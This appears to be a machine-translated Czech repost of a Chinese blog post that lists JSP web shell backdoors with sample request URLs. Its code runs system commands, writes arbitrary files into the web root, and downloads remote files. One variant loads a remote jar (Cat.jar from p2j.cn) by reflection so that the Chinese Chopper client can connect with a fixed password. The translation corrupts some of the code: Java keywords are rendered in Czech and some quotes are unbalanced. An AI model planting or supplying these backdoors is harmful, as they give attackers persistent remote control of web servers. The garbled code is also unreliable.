|
|
Zveřejněno 02.01.2015 18:46:57
|
|
|
|

Převedeno z: http://p2j.cn/?p=1627 1. Vykonejte systémové příkazy: Vykonávání systémových příkazů bez echa: <%Runtime.getRuntime().exec(request.getParameter("i"));%> Žádost: http://192.168.16.240:8080/Shell/cmd2.jsp?i=ls Po provedení nebude žádný echo, což je u odrazových granátů velmi pohodlné. Existují ozvěny s ověřováním hesla: <% if("023".equals(request.getParameter("pwd"))){ java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter("i")).getInputStream(); int a = -1; byte[] b = nový byte[2048]; out.print("<pre>); while((a=in.read(b))!=-1){ out.println(new String(b)); } out.print("</pre>); }%> Žádost: http://192.168.16.240:8080/Shell/cmd2.jsp?pwd=023&i=ls
2. Zakódujte řetězec a zapíšte ho do určeného souboru: 1: <%new java.io.FileOutputStream(request.getParameter("f")).write(request.getParameter("c").getBytes());%> Žádost: http://localhost:8080/Shell/file.jsp?f=/Users/yz/wwwroot/2.txt&c=1234 Pište do webového adresáře: <%new java.io.FileOutputStream(application.getRealPath("/")+"/"+request.getParameter("f")).write(request.getParameter("c").getBytes());%> Žádost: http://localhost:8080/Shell/file.jsp?f=2.txt&c=1234 2: <%new java.io.RandomAccessFile(request.getParameter("f"),"rw").write(request.getParameter("c").getBytes()); %> Žádost: http://localhost:8080/Shell/file.jsp?f=/Users/yz/wwwroot/2.txt&c=1234 Pište do webového adresáře: <%new java.io.RandomAccessFile(application.getRealPath("/")+"/"+request.getParameter("f"),"rw").write(request.getParameter("c").getBytes()); %> Žádost: http://localhost:8080/Shell/file.jsp?f=2.txt&c=1234 3: Stáhnout vzdálený soubor (pokud nepoužíváte utily Apache IO, nemůžete převést vstupní proud na bajt, takže je to velmi dlouhé...) < % java.io.InputStream in = new java.net.URL(request.getParameter("u")).openStream(); bajt[] b = nový bajt[1024]; java.io.ByteArrayOutputStream baos = nový java.io.ByteArrayOutputStream(); int a = -1; zatímco ((a = in.read(b)) != -1) { baos.write(b, 0, a); } new java.io.FileOutputStream(request.getParameter("f")).write(baos.toByteArray()); %> Žádost: http://localhost:8080/Shell/download.jsp?f=/Users/yz/wwwroot/1.png&u=http://www.baidu.com/img/bdlogo.png Stáhněte si na webovou cestu: < % java.io.InputStream in = new java.net.URL(request.getParameter("u")).openStream(); bajt[] b = nový bajt[1024]; java.io.ByteArrayOutputStream baos = nový java.io.ByteArrayOutputStream(); int a = -1; zatímco ((a = in.read(b)) != -1) { baos.write(b, 0, a); } new java.io.FileOutputStream(application.getRealPath("/")+"/"+ request.getParameter("f")).write(baos.toByteArray()); %> Žádost: http://localhost:8080/Shell/download.jsp?f=1.png&u=http://www.baidu.com/img/bdlogo.png Čtvrté: Reflexe volá vnější nádobu, dokonalí zadní dveře Pokud se vám nelíbí výše uvedená funkce zadních vrátek je příliš slabá a zastaralá, můžete zkusit toto: <%=Class.forName("Load",true,new java.net.URLClassLoader(new java.net.URL[]{new java.net.URL(request.getParameter("u"))))).getMethods()[0].invoke(null, new Object[]{ request.getParameterMap()})%> Žádost: http://192.168.16.240:8080/Shell/reflect.jsp?u=http://p2j.cn/Cat.jar&023=A
Připojení kuchyňského nože: http://192.168.16.240:8080/Shell/reflect.jsp?u=http://p2j.cn/Cat.jar, heslo 023.
Řešení: Použijte reflection k načtení externího jaru do aktuální aplikace a reflection spustí výsledek výstupního zpracování. request.getParameterMap() obsahuje všechny požadované parametry. Protože je externí jar balíček načten, server musí být schopen k této adrese jar přistupovat. |
Předchozí:Krize za textovým souborem TXTDalší:Java MD5 šifrování, Base64 šifrování a dešifrování Java provádí zdrojový kód systémových příkazů
|